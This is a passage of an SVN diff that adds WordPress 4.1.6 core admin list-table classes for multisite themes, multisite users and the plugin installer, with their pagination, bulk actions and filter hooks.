+			 * themes list table.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array $all An array of WP_Theme objects to display in the list table.
+			 */
+			'all' => apply_filters( 'all_themes', wp_get_themes() ),
+			'search' => array(),
+			'enabled' => array(),
+			'disabled' => array(),
+			'upgrade' => array(),
+			'broken' => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
+		);
+
+		if ( $this->is_site_themes ) {
+			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
+			$allowed_where = 'site';
+		} else {
+			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
+			$allowed_where = 'network';
+		}
+
+		$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current = get_site_transient( 'update_themes' );
+
+		foreach ( (array) $themes['all'] as $key => $theme ) {
+			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
+				unset( $themes['all'][ $key ] );
+				continue;
+			}
+
+			if ( $maybe_update && isset( $current->response[ $key ] ) ) {
+				$themes['all'][ $key ]->update = true;
+				$themes['upgrade'][ $key ] = $themes['all'][ $key ];
+			}
+
+			$filter = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
+			$themes[ $filter ][ $key ] = $themes['all'][ $key ];
+		}
+
+		if ( $s ) {
+			$status = 'search';
+			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
+		}
+
+		$totals = array();
+		foreach ( $themes as $type => $list )
+			$totals[ $type ] = count( $list );
+
+		if ( empty( $themes[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) )
+			$status = 'all';
+
+		$this->items = $themes[ $status ];
+		WP_Theme::sort_by_name( $this->items );
+
+		$this->has_items = ! empty( $themes['all'] );
+		$total_this_page = $totals[ $status ];
+
+		if ( $orderby ) {
+			$orderby = ucfirst( $orderby );
+			$order = strtoupper( $order );
+
+			if ( $orderby == 'Name' ) {
+				if ( 'ASC' == $order )
+					$this->items = array_reverse( $this->items );
+			} else {
+				uasort( $this->items, array( $this, '_order_callback' ) );
+			}
+		}
+
+		$start = ( $page - 1 ) * $themes_per_page;
+
+		if ( $total_this_page > $themes_per_page )
+			$this->items = array_slice( $this->items, $start, $themes_per_page, true );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_this_page,
+			'per_page' => $themes_per_page,
+		) );
+	}
+
+	/**
+	 * @staticvar string $term
+	 * @param WP_Theme $theme
+	 * @return bool
+	 */
+	public function _search_callback( $theme ) {
+		static $term;
+		if ( is_null( $term ) )
+			$term = wp_unslash( $_REQUEST['s'] );
+
+		foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
+			// Don't mark up; Do translate.
+			if ( false !== stripos( $theme->display( $field, false, true ), $term ) )
+				return true;
+		}
+
+		if ( false !== stripos( $theme->get_stylesheet(), $term ) )
+			return true;
+
+		if ( false !== stripos( $theme->get_template(), $term ) )
+			return true;
+
+		return false;
+	}
+
+	// Not used by any core columns.
+	/**
+	 * @global string $orderby
+	 * @global string $order
+	 * @param array $theme_a
+	 * @param array $theme_b
+	 * @return int
+	 */
+	public function _order_callback( $theme_a, $theme_b ) {
+		global $orderby, $order;
+
+		$a = $theme_a[ $orderby ];
+		$b = $theme_b[ $orderby ];
+
+		if ( $a == $b )
+			return 0;
+
+		if ( 'DESC' == $order )
+			return ( $a < $b ) ? 1 : -1;
+		else
+			return ( $a < $b ) ? -1 : 1;
+	}
+
+	public function no_items() {
+		if ( ! $this->has_items )
+			_e( 'No themes found.' );
+		else
+			_e( 'You do not appear to have any themes available at this time.' );
+	}
+
+	public function get_columns() {
+		global $status;
+
+		return array(
+			'cb'          => '<input type="checkbox" />',
+			'name'        => __( 'Theme' ),
+			'description' => __( 'Description' ),
+		);
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'name'         => 'name',
+		);
+	}
+
+	protected function get_views() {
+		global $totals, $status;
+
+		$status_links = array();
+		foreach ( $totals as $type => $count ) {
+			if ( !$count )
+				continue;
+
+			switch ( $type ) {
+				case 'all':
+					$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'themes' );
+					break;
+				case 'enabled':
+					$text = _n( 'Enabled <span class="count">(%s)</span>', 'Enabled <span class="count">(%s)</span>', $count );
+					break;
+				case 'disabled':
+					$text = _n( 'Disabled <span class="count">(%s)</span>', 'Disabled <span class="count">(%s)</span>', $count );
+					break;
+				case 'upgrade':
+					$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count );
+					break;
+				case 'broken' :
+					$text = _n( 'Broken <span class="count">(%s)</span>', 'Broken <span class="count">(%s)</span>', $count );
+					break;
+			}
+
+			if ( $this->is_site_themes )
+				$url = 'site-themes.php?id=' . $this->site_id;
+			else
+				$url = 'themes.php';
+
+			if ( 'search' != $type ) {
+				$status_links[$type] = sprintf( "<a href='%s' %s>%s</a>",
+					esc_url( add_query_arg('theme_status', $type, $url) ),
+					( $type == $status ) ? ' class="current"' : '',
+					sprintf( $text, number_format_i18n( $count ) )
+				);
+			}
+		}
+
+		return $status_links;
+	}
+
+	protected function get_bulk_actions() {
+		global $status;
+
+		$actions = array();
+		if ( 'enabled' != $status )
+			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
+		if ( 'disabled' != $status )
+			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
+		if ( ! $this->is_site_themes ) {
+			if ( current_user_can( 'update_themes' ) )
+				$actions['update-selected'] = __( 'Update' );
+			if ( current_user_can( 'delete_themes' ) )
+				$actions['delete-selected'] = __( 'Delete' );
+		}
+		return $actions;
+	}
+
+	public function display_rows() {
+		foreach ( $this->items as $theme )
+			$this->single_row( $theme );
+	}
+
+	/**
+	 * @global string $status
+	 * @global int $page
+	 * @global string $s
+	 * @global array $totals
+	 * @param WP_Theme $theme
+	 */
+	public function single_row( $theme ) {
+		global $status, $page, $s, $totals;
+
+		$context = $status;
+
+		if ( $this->is_site_themes ) {
+			$url = "site-themes.php?id={$this->site_id}&amp;";
+			$allowed = $theme->is_allowed( 'site', $this->site_id );
+		} else {
+			$url = 'themes.php?';
+			$allowed = $theme->is_allowed( 'network' );
+		}
+
+		// Pre-order.
+		$actions = array(
+			'enable' => '',
+			'disable' => '',
+			'edit' => '',
+			'delete' => ''
+		);
+
+		$stylesheet = $theme->get_stylesheet();
+		$theme_key = urlencode( $stylesheet );
+
+		if ( ! $allowed ) {
+			if ( ! $theme->errors() )
+				$actions['enable'] = '<a href="' . esc_url( wp_nonce_url($url . 'action=enable&amp;theme=' . $theme_key . '&amp;paged=' . $page . '&amp;s=' . $s, 'enable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__('Enable this theme') . '" class="edit">' . ( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) ) . '</a>';
+		} else {
+			$actions['disable'] = '<a href="' . esc_url( wp_nonce_url($url . 'action=disable&amp;theme=' . $theme_key . '&amp;paged=' . $page . '&amp;s=' . $s, 'disable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__('Disable this theme') . '">' . ( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) ) . '</a>';
+		}
+
+		if ( current_user_can('edit_themes') )
+			$actions['edit'] = '<a href="' . esc_url('theme-editor.php?theme=' . $theme_key ) . '" title="' . esc_attr__('Open this theme in the Theme Editor') . '" class="edit">' . __('Edit') . '</a>';
+
+		if ( ! $allowed && current_user_can( 'delete_themes' ) && ! $this->is_site_themes && $stylesheet != get_option( 'stylesheet' ) && $stylesheet != get_option( 'template' ) )
+			$actions['delete'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=delete-selected&amp;checked[]=' . $theme_key . '&amp;theme_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-themes' ) ) . '" title="' . esc_attr__( 'Delete this theme' ) . '" class="delete">' . __( 'Delete' ) . '</a>';
+
+		/**
+		 * Filter the action links displayed for each theme in the Multisite
+		 * themes list table.
+		 *
+		 * The action links displayed are determined by the theme's status, and
+		 * which Multisite themes list table is being displayed - the Network
+		 * themes list table (themes.php), which displays all installed themes,
+		 * or the Site themes list table (site-themes.php), which displays the
+		 * non-network enabled themes when editing a site in the Network admin.
+		 *
+		 * The default action links for the Network themes list table include
+		 * 'Network Enable', 'Network Disable', 'Edit', and 'Delete'.
+		 *
+		 * The default action links for the Site themes list table include
+		 * 'Enable', 'Disable', and 'Edit'.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array    $actions An array of action links.
+		 * @param WP_Theme $theme   The current WP_Theme object.
+		 * @param string   $context Status of the theme.
+		 */
+		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );
+
+		/**
+		 * Filter the action links of a specific theme in the Multisite themes
+		 * list table.
+		 *
+		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
+		 * directory name of the theme, which in most cases is synonymous
+		 * with the template name.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array    $actions An array of action links.
+		 * @param WP_Theme $theme   The current WP_Theme object.
+		 * @param string   $context Status of the theme.
+		 */
+		$actions = apply_filters( "theme_action_links_$stylesheet", $actions, $theme, $context );
+
+		$class = ! $allowed ? 'inactive' : 'active';
+		$checkbox_id = "checkbox_" . md5( $theme->get('Name') );
+		$checkbox = "<input type='checkbox' name='checked[]' value='" . esc_attr( $stylesheet ) . "' id='" . $checkbox_id . "' /><label class='screen-reader-text' for='" . $checkbox_id . "' >" . __('Select') . " " . $theme->display('Name') . "</label>";
+
+		$id = sanitize_html_class( $theme->get_stylesheet() );
+
+		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) )
+			$class .= ' update';
+
+		echo "<tr id='$id' class='$class'>";
+
+		list( $columns, $hidden ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$style = '';
+			if ( in_array( $column_name, $hidden ) )
+				$style = ' style="display:none;"';
+
+			switch ( $column_name ) {
+				case 'cb':
+					echo "<th scope='row' class='check-column'>$checkbox</th>";
+					break;
+				case 'name':
+					echo "<td class='theme-title'$style><strong>" . $theme->display('Name') . "</strong>";
+					echo $this->row_actions( $actions, true );
+					echo "</td>";
+					break;
+				case 'description':
+					echo "<td class='column-description desc'$style>";
+					if ( $theme->errors() ) {
+						$pre = $status == 'broken' ? __( 'Broken Theme:' ) . ' ' : '';
+						echo '<p><strong class="attention">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
+					}
+					echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
+						<div class='$class second theme-version-author-uri'>";
+
+					$theme_meta = array();
+
+					if ( $theme->get('Version') )
+						$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display('Version') );
+
+					$theme_meta[] = sprintf( __( 'By %s' ), $theme->display('Author') );
+
+					if ( $theme->get('ThemeURI') )
+						$theme_meta[] = '<a href="' . $theme->display('ThemeURI') . '" title="' . esc_attr__( 'Visit theme homepage' ) . '">' . __( 'Visit Theme Site' ) . '</a>';
+
+					/**
+					 * Filter the array of row meta for each theme in the Multisite themes
+					 * list table.
+					 *
+					 * @since 3.1.0
+					 *
+					 * @param array    $theme_meta An array of the theme's metadata,
+					 *                             including the version, author, and
+					 *                             theme URI.
+					 * @param string   $stylesheet Directory name of the theme.
+					 * @param WP_Theme $theme      WP_Theme object.
+					 * @param string   $status     Status of the theme.
+					 */
+					$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );
+					echo implode( ' | ', $theme_meta );
+
+					echo "</div></td>";
+					break;
+
+				default:
+					echo "<td class='$column_name column-$column_name'$style>";
+
+					/**
+					 * Fires inside each custom column of the Multisite themes list table.
+					 *
+					 * @since 3.1.0
+					 *
+					 * @param string   $column_name Name of the column.
+					 * @param string   $stylesheet  Directory name of the theme.
+					 * @param WP_Theme $theme       Current WP_Theme object.
+					 */
+					do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
+					echo "</td>";
+			}
+		}
+
+		echo "</tr>";
+
+		if ( $this->is_site_themes )
+			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );
+
+		/**
+		 * Fires after each row in the Multisite themes list table.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string   $stylesheet Directory name of the theme.
+		 * @param WP_Theme $theme      Current WP_Theme object.
+		 * @param string   $status     Status of the theme.
+		 */
+		do_action( 'after_theme_row', $stylesheet, $theme, $status );
+
+		/**
+		 * Fires after each specific row in the Multisite themes list table.
+		 *
+		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
+		 * directory name of the theme, most often synonymous with the template
+		 * name of the theme.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param string   $stylesheet Directory name of the theme.
+		 * @param WP_Theme $theme      Current WP_Theme object.
+		 * @param string   $status     Status of the theme.
+		 */
+		do_action( "after_theme_row_$stylesheet", $stylesheet, $theme, $status );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-ms-users-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-ms-users-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-ms-users-list-table.php	(revision 33402)
@@ -0,0 +1,307 @@
+<?php
+/**
+ * Multisite Users List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_MS_Users_List_Table extends WP_List_Table {
+
+	public function ajax_user_can() {
+		return current_user_can( 'manage_network_users' );
+	}
+
+	public function prepare_items() {
+		global $usersearch, $role, $wpdb, $mode;
+
+		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
+
+		$users_per_page = $this->get_items_per_page( 'users_network_per_page' );
+
+		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';
+
+		$paged = $this->get_pagenum();
+
+		$args = array(
+			'number' => $users_per_page,
+			'offset' => ( $paged-1 ) * $users_per_page,
+			'search' => $usersearch,
+			'blog_id' => 0,
+			'fields' => 'all_with_meta'
+		);
+
+		if ( wp_is_large_network( 'users' ) )
+			$args['search'] = ltrim( $args['search'], '*' );
+
+		if ( $role == 'super' ) {
+			$logins = implode( "', '", get_super_admins() );
+			$args['include'] = $wpdb->get_col( "SELECT ID FROM $wpdb->users WHERE user_login IN ('$logins')" );
+		}
+
+		/*
+		 * If the network is large and a search is not being performed,
+		 * show only the latest users with no paging in order to avoid
+		 * expensive count queries.
+		 */
+		if ( !$usersearch && wp_is_large_network( 'users' ) ) {
+			if ( !isset($_REQUEST['orderby']) )
+				$_GET['orderby'] = $_REQUEST['orderby'] = 'id';
+			if ( !isset($_REQUEST['order']) )
+				$_GET['order'] = $_REQUEST['order'] = 'DESC';
+			$args['count_total'] = false;
+		}
+
+		if ( isset( $_REQUEST['orderby'] ) )
+			$args['orderby'] = $_REQUEST['orderby'];
+
+		if ( isset( $_REQUEST['order'] ) )
+			$args['order'] = $_REQUEST['order'];
+
+		$mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode'];
+
+		// Query the user IDs for this page
+		$wp_user_search = new WP_User_Query( $args );
+
+		$this->items = $wp_user_search->get_results();
+
+		$this->set_pagination_args( array(
+			'total_items' => $wp_user_search->get_total(),
+			'per_page' => $users_per_page,
+		) );
+	}
+
+	protected function get_bulk_actions() {
+		$actions = array();
+		if ( current_user_can( 'delete_users' ) )
+			$actions['delete'] = __( 'Delete' );
+		$actions['spam'] = _x( 'Mark as Spam', 'user' );
+		$actions['notspam'] = _x( 'Not Spam', 'user' );
+
+		return $actions;
+	}
+
+	public function no_items() {
+		_e( 'No users found.' );
+	}
+
+	protected function get_views() {
+		global $role;
+
+		$total_users = get_user_count();
+		$super_admins = get_super_admins();
+		$total_admins = count( $super_admins );
+
+		$class = $role != 'super' ? ' class="current"' : '';
+		$role_links = array();
+		$role_links['all'] = "<a href='" . network_admin_url('users.php') . "'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>';
+		$class = $role == 'super' ? ' class="current"' : '';
+		$role_links['super'] = "<a href='" . network_admin_url('users.php?role=super') . "'$class>" . sprintf( _n( 'Super Admin <span class="count">(%s)</span>', 'Super Admins <span class="count">(%s)</span>', $total_admins ), number_format_i18n( $total_admins ) ) . '</a>';
+
+		return $role_links;
+	}
+
+	/**
+	 * @global string $mode
+	 * @param string $which
+	 */
+	protected function pagination( $which ) {
+		global $mode;
+
+		parent::pagination ( $which );
+
+		if ( 'top' == $which )
+			$this->view_switcher( $mode );
+	}
+
+	public function get_columns() {
+		$users_columns = array(
+			'cb'         => '<input type="checkbox" />',
+			'username'   => __( 'Username' ),
+			'name'       => __( 'Name' ),
+			'email'      => __( 'E-mail' ),
+			'registered' => _x( 'Registered', 'user' ),
+			'blogs'      => __( 'Sites' )
+		);
+		/**
+		 * Filter the columns displayed in the Network Admin Users list table.
+		 *
+		 * @since MU
+		 *
+		 * @param array $users_columns An array of user columns. Default 'cb', 'username',
+		 *                             'name', 'email', 'registered', 'blogs'.
+		 */
+		$users_columns = apply_filters( 'wpmu_users_columns', $users_columns );
+
+		return $users_columns;
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'username'   => 'login',
+			'name'       => 'name',
+			'email'      => 'email',
+			'registered' => 'id',
+		);
+	}
+
+	public function display_rows() {
+		global $mode;
+
+		$alt = '';
+		$super_admins = get_super_admins();
+		foreach ( $this->items as $user ) {
+			$alt = ( 'alternate' == $alt ) ? '' : 'alternate';
+
+			$status_list = array( 'spam' => 'site-spammed', 'deleted' => 'site-deleted' );
+
+			foreach ( $status_list as $status => $col ) {
+				if ( $user->$status )
+					$alt .= " $col";
+			}
+
+			?>
+			<tr class="<?php echo $alt; ?>">
+			<?php
+
+			list( $columns, $hidden ) = $this->get_column_info();
+
+			foreach ( $columns as $column_name => $column_display_name ) :
+				$class = "class='$column_name column-$column_name'";
+
+				$style = '';
+				if ( in_array( $column_name, $hidden ) )
+					$style = ' style="display:none;"';
+
+				$attributes = "$class$style";
+
+				switch ( $column_name ) {
+					case 'cb': ?>
+						<th scope="row" class="check-column">
+							<label class="screen-reader-text" for="blog_<?php echo $user->ID; ?>"><?php echo sprintf( __( 'Select %s' ), $user->user_login ); ?></label>
+							<input type="checkbox" id="blog_<?php echo $user->ID ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ) ?>" />
+						</th>
+					<?php
+					break;
+
+					case 'username':
+						$avatar	= get_avatar( $user->user_email, 32 );
+						$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
+
+						echo "<td $attributes>"; ?>
+							<?php echo $avatar; ?><strong><a href="<?php echo $edit_link; ?>" class="edit"><?php echo $user->user_login; ?></a><?php
+							if ( in_array( $user->user_login, $super_admins ) )
+								echo ' - ' . __( 'Super Admin' );
+							?></strong>
+							<br/>
+							<?php
+								$actions = array();
+								$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
+
+								if ( current_user_can( 'delete_user', $user->ID ) && ! in_array( $user->user_login, $super_admins ) ) {
+									$actions['delete'] = '<a href="' . $delete = esc_url( network_admin_url( add_query_arg( '_wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), wp_nonce_url( 'users.php', 'deleteuser' ) . '&amp;action=deleteuser&amp;id=' . $user->ID ) ) ) . '" class="delete">' . __( 'Delete' ) . '</a>';
+								}
+
+								/**
+								 * Filter the action links displayed under each user
+								 * in the Network Admin Users list table.
+								 *
+								 * @since 3.2.0
+								 *
+								 * @param array   $actions An array of action links to be displayed.
+								 *                         Default 'Edit', 'Delete'.
+								 * @param WP_User $user    WP_User object.
+								 */
+								$actions = apply_filters( 'ms_user_row_actions', $actions, $user );
+								echo $this->row_actions( $actions );
+							?>
+						</td>
+					<?php
+					break;
+
+					case 'name':
+						echo "<td $attributes>$user->first_name $user->last_name</td>";
+					break;
+
+					case 'email':
+						echo "<td $attributes><a href='mailto:$user->user_email'>$user->user_email</a></td>";
+					break;
+
+					case 'registered':
+						if ( 'list' == $mode )
+							$date = 'Y/m/d';
+						else
+							$date = 'Y/m/d \<\b\r \/\> g:i:s a';
+
+						echo "<td $attributes>" . mysql2date( $date, $user->user_registered ) . "</td>";
+					break;
+
+					case 'blogs':
+						$blogs = get_blogs_of_user( $user->ID, true );
+						echo "<td $attributes>";
+							if ( is_array( $blogs ) ) {
+								foreach ( (array) $blogs as $key => $val ) {
+									if ( !can_edit_network( $val->site_id ) )
+										continue;
+
+									$path	= ( $val->path == '/' ) ? '' : $val->path;
+									echo '<span class="site-' . $val->site_id . '" >';
+									echo '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . str_replace( '.' . get_current_site()->domain, '', $val->domain . $path ) . '</a>';
+									echo ' <small class="row-actions">';
+									$actions = array();
+									$actions['edit'] = '<a href="'. esc_url( network_admin_url( 'site-info.php?id=' . $val->userblog_id ) ) .'">' . __( 'Edit' ) . '</a>';
+
+									$class = '';
+									if ( get_blog_status( $val->userblog_id, 'spam' ) == 1 )
+										$class .= 'site-spammed ';
+									if ( get_blog_status( $val->userblog_id, 'mature' ) == 1 )
+										$class .= 'site-mature ';
+									if ( get_blog_status( $val->userblog_id, 'deleted' ) == 1 )
+										$class .= 'site-deleted ';
+									if ( get_blog_status( $val->userblog_id, 'archived' ) == 1 )
+										$class .= 'site-archived ';
+
+									$actions['view'] = '<a class="' . $class . '" href="' . esc_url( get_home_url( $val->userblog_id ) ) . '">' . __( 'View' ) . '</a>';
+
+									/**
+									 * Filter the action links displayed next the sites a user belongs to
+									 * in the Network Admin Users list table.
+									 *
+									 * @since 3.1.0
+									 *
+									 * @param array $actions     An array of action links to be displayed.
+									 *                           Default 'Edit', 'View'.
+									 * @param int   $userblog_id The site ID.
+									 */
+									$actions = apply_filters( 'ms_user_list_site_actions', $actions, $val->userblog_id );
+
+									$i=0;
+									$action_count = count( $actions );
+									foreach ( $actions as $action => $link ) {
+										++$i;
+										( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+										echo "<span class='$action'>$link$sep</span>";
+									}
+									echo '</small></span><br/>';
+								}
+							}
+							?>
+						</td>
+					<?php
+					break;
+
+					default:
+						echo "<td $attributes>";
+						/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
+						echo apply_filters( 'manage_users_custom_column', '', $column_name, $user->ID );
+						echo "</td>";
+					break;
+				}
+			endforeach
+			?>
+			</tr>
+			<?php
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-plugin-install-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-plugin-install-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-plugin-install-list-table.php	(revision 33402)
@@ -0,0 +1,500 @@
+<?php
+/**
+ * Plugin Installer List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Plugin_Install_List_Table extends WP_List_Table {
+
+	var $order = 'ASC';
+	var $orderby = null;
+	var $groups = array();
+
+	public function ajax_user_can() {
+		return current_user_can('install_plugins');
+	}
+
+	/**
+	 * Return a list of slugs of installed plugins, if known.
+	 *
+	 * Uses the transient data from the updates API to determine the slugs of
+	 * known installed plugins. This might be better elsewhere, perhaps even
+	 * within get_plugins().
+	 *
+	 * @since 4.0.0
+	 * @access protected
+	 */
+	protected function get_installed_plugin_slugs() {
+		$slugs = array();
+
+		$plugin_info = get_site_transient( 'update_plugins' );
+		if ( isset( $plugin_info->no_update ) ) {
+			foreach ( $plugin_info->no_update as $plugin ) {
+				$slugs[] = $plugin->slug;
+			}
+		}
+
+		if ( isset( $plugin_info->response ) ) {
+			foreach ( $plugin_info->response as $plugin ) {
+				$slugs[] = $plugin->slug;
+			}
+		}
+
+		return $slugs;
+	}
+
+	public function prepare_items() {
+		include( ABSPATH . 'wp-admin/includes/plugin-install.php' );
+
+		global $tabs, $tab, $paged, $type, $term;
+
+		wp_reset_vars( array( 'tab' ) );
+
+		$paged = $this->get_pagenum();
+
+		$per_page = 30;
+
+		// These are the tabs which are shown on the page
+		$tabs = array();
+
+		if ( 'search' == $tab )
+			$tabs['search']	= __( 'Search Results' );
+		$tabs['featured']  = _x( 'Featured', 'Plugin Installer' );
+		$tabs['popular']   = _x( 'Popular', 'Plugin Installer' );
+		$tabs['recommended']   = _x( 'Recommended', 'Plugin Installer' );
+		$tabs['favorites'] = _x( 'Favorites', 'Plugin Installer' );
+		if ( $tab === 'beta' || false !== strpos( $GLOBALS['wp_version'], '-' ) ) {
+			$tabs['beta']      = _x( 'Beta Testing', 'Plugin Installer' );
+		}
+		if ( current_user_can( 'upload_plugins' ) ) {
+			// No longer a real tab. Here for filter compatibility.
+			// Gets skipped in get_views().
+			$tabs['upload'] = __( 'Upload Plugin' );
+		}
+
+		$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.
+
+		/**
+		 * Filter the tabs shown on the Plugin Install screen.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $tabs The tabs shown on the Plugin Install screen. Defaults are 'dashboard', 'search',
+		 *                    'upload', 'featured', 'popular', 'new', and 'favorites'.
+		 */
+		$tabs = apply_filters( 'install_plugins_tabs', $tabs );
+
+		/**
+		 * Filter tabs not associated with a menu item on the Plugin Install screen.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $nonmenu_tabs The tabs that don't have a Menu item on the Plugin Install screen.
+		 */
+		$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );
+
+		// If a non-valid menu tab has been selected, And it's not a non-menu action.
+		if ( empty( $tab ) || ( !isset( $tabs[ $tab ] ) && !in_array( $tab, (array) $nonmenu_tabs ) ) )
+			$tab = key( $tabs );
+
+		$args = array(
+			'page' => $paged,
+			'per_page' => $per_page,
+			'fields' => array( 'last_updated' => true, 'downloaded' => true, 'icons' => true ),
+			// Send the locale and installed plugin slugs to the API so it can provide context-sensitive results.
+			'locale' => get_locale(),
+			'installed_plugins' => $this->get_installed_plugin_slugs(),
+		);
+
+		switch ( $tab ) {
+			case 'search':
+				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+				$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
+
+				switch ( $type ) {
+					case 'tag':
+						$args['tag'] = sanitize_title_with_dashes( $term );
+						break;
+					case 'term':
+						$args['search'] = $term;
+						break;
+					case 'author':
+						$args['author'] = $term;
+						break;
+				}
+
+				break;
+
+			case 'featured':
+				$args['fields']['group'] = true;
+				$this->orderby = 'group';
+				// No break!
+			case 'popular':
+			case 'new':
+			case 'beta':
+			case 'recommended':
+				$args['browse'] = $tab;
+				break;
+
+			case 'favorites':
+				$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );
+				update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
+				if ( $user )
+					$args['user'] = $user;
+				else
+					$args = false;
+
+				add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
+				break;
+
+			default:
+				$args = false;
+				break;
+		}
+
+		/**
+		 * Filter API request arguments for each Plugin Install screen tab.
+		 *
+		 * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
+		 * Default tabs are 'dashboard', 'search', 'upload', 'featured', 'popular', 'new',
+		 * and 'favorites'.
+		 *
+		 * @since 3.7.0
+		 *
+		 * @param array|bool $args Plugin Install API arguments.
+		 */
+		$args = apply_filters( "install_plugins_table_api_args_$tab", $args );
+
+		if ( !$args )
+			return;
+
+		$api = plugins_api( 'query_plugins', $args );
+
+		if ( is_wp_error( $api ) ) {
+			$this->error = $api;
+			return;
+		}
+
+		$this->items = $api->plugins;
+
+		if ( $this->orderby ) {
+			uasort( $this->items, array( $this, 'order_callback' ) );
+		}
+
+		$this->set_pagination_args( array(
+			'total_items' => $api->info['results'],
+			'per_page' => $args['per_page'],
+		) );
+
+		if ( isset( $api->info['groups'] ) ) {
+			$this->groups = $api->info['groups'];
+		}
+	}
+
+	public function no_items() {
+		if ( isset( $this->error ) ) {
+			$message = $this->error->get_error_message() . '<p class="hide-if-no-js"><a href="#" class="button" onclick="document.location.reload(); return false;">' . __( 'Try again' ) . '</a></p>';
+		} else {
+			$message = __( 'No plugins match your request.' );
+		}
+		echo '<div class="no-plugin-results">' . $message . '</div>';
+	}
+
+	protected function get_views() {
+		global $tabs, $tab;
+
+		$display_tabs = array();
+		foreach ( (array) $tabs as $action => $text ) {
+			$class = ( $action == $tab ) ? ' current' : '';
+			$href = self_admin_url('plugin-install.php?tab=' . $action);
+			$display_tabs['plugin-install-'.$action] = "<a href='$href' class='$class'>$text</a>";
+		}
+		// No longer a real tab.
+		unset( $display_tabs['plugin-install-upload'] );
+
+		return $display_tabs;
+	}
+
+	/**
+	 * Override parent views so we can use the filter bar display.
+	 */
+	public function views() {
+		$views = $this->get_views();
+
+		/** This filter is documented in wp-admin/inclues/class-wp-list-table.php */
+		$views = apply_filters( "views_{$this->screen->id}", $views );
+
+?>
+<div class="wp-filter">
+	<ul class="filter-links">
+		<?php
+		if ( ! empty( $views ) ) {
+			foreach ( $views as $class => $view ) {
+				$views[ $class ] = "\t<li class='$class'>$view";
+			}
+			echo implode( " </li>\n", $views ) . "</li>\n";
+		}
+		?>
+	</ul>
+
